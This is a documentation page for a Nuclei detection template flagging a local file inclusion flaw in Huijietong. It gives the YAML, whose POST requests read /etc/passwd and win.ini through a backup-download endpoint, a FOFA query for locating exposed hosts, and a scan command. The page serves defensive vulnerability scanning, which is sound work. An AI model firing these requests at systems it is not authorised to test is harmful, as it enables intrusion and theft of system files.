Huijietong - Local File Inclusion
ID: huijietong-cloud-fileread
Severity: high
Author: princechaddha,ritikchaddha
Tags: huijietong,lfi
Description
Section titled “Description”Huijietong is vulnerable to local file inclusion.
YAML Source
Section titled “YAML Source”id: huijietong-cloud-fileread
info: name: Huijietong - Local File Inclusion author: princechaddha,ritikchaddha severity: high description: Huijietong is vulnerable to local file inclusion. metadata: max-request: 2 fofa-query: body="/him/api/rest/v1.0/node/role" tags: huijietong,lfi
http: - method: POST path: - "{{BaseURL}}/fileDownload?action=downloadBackupFile"
body: 'fullPath=/etc/passwd'
- method: POST path: - "{{BaseURL}}/fileDownload?action=downloadBackupFile"
body: 'fullPath=/Windows/win.ini'
matchers-condition: and matchers: - type: regex part: body regex: - "root:.*:0:0:" - "\\[(font|extension|file)s\\]" condition: or
- type: status status: - 200# digest: 4a0a0047304502206d64b934be7fe1747331c43c707d565afec8294dc5996a7d18c9d58431d5aad7022100f787fcc9f953e2c43de7f2847056a274158c49ff4076127b7fd2b95319c4847e:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/vulnerabilities/other/huijietong-cloud-fileread.yaml"